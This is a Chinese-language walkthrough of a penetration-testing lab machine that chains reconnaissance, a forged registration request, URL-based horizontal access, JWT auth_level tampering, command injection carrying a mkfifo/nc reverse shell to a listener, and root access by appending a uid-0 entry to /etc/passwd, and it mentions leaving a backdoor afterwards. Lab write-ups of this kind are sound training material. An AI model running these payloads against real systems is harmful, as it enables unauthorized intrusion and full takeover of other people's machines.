信息收集
用户先登录,用dhclient自动获取ip
Kali
Nmap扫描
nmap -sn 192.168.10.1/24
扫描端口
masscan --rate=10000 --ports 0-65535 192.168.10.133
扫描开放端口的详细信息
nmap -sV -T4 -p 80 192.168.10.133
searchsploit nginx
网站版本 kali里没有上面我们扫描到的nginx 1.14版本
端口探测
Kali Linux提供一款基于字典的Web目录扫描工具DIRB。该工具根据用户提供的字典,对目标网站目录进行暴力猜测。它会尝试以递归方式进行爆破,以发现更多的路径。同时,该工具支持代理、HTTP认证扫描限制访问的网站。
默认字典
dirb http://192.168.10.133
Kali自带的字典
dpkg -L dirb
使用大字典探测
dirb http://192.168.10.133 /usr/share/dirb/wordlists/big.txt
进入这两个页面发现没有得到什么信息,所以去js页面查找信息
点击注册
无法注册
使用register作为关键字对js文件进行搜索
发现如下有用的信息
这里有2点要求:
- Content-Type 必须要是:application/json
- post 数据包内容处,必须要严格按照js代码里的规范
根据js的信息,我们可以使用post提交新账户信息来完成注册,我们使用burpsuite抓包然后按照要求对其进行改包
登陆界面抓包,将数据改成上面js界面的要求,然后返回true即为注册成功
使用新账号admin123,admin123
登陆成功lwb
该账户没有什么可利用的信息,我们需要提权
水平越权
在创一个账户
将url后面直接改成admin123发现直接进入,存在水平越权
垂直提权
重新去登录界面登陆抓包
抓取回包
然后forward放过,就可以看到回包
https://jwt.io
查询是什么类型的
发现auth_level,应该是判断用户权限的
到登陆的js文件里查看,搜索auth_level,看到这句,应该是判断用户权限的,通过代码我判断将最后的standard_users得改成master_admin_user就行
将最后的standard_users得改成master_admin_user
然后forword放包
然后直接登陆了admin界面
获取shell
随意输入账号密码,密码故意输错
抓包
放入reprater
在密码后面加上一句反弹shell命令,并在kali监听
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.232.131 443 >/tmp/f
成功拿到shell
提权
python -c ‘import pty;pty.spawn("/bin/bash")’ —— 将shell转换为完全交互式的TTY;
进入cd /etc
Ls -la | grep passwd
因为我的系统问题导致输入每个都变成输出两个
Cat passwd 查看用户
perl -le ‘print crypt(“pass”,“aa”)’ //perl需要一个加密盐对密码pass进行加密,如这里使用了aa(salt指加密中用到的随机字符串,用不同的salt可以生成不同的加密结果)。
echo ‘cqq:aaW3cJZ7OSoQM:0:0:cqq:/root:/bin/bash’ >> passwd
Cat passwd
发现新用户
登陆,成功拿到root权限
三连问
之后便可以留后门了
这次实验看出了我们需要从js中能发现出很多线索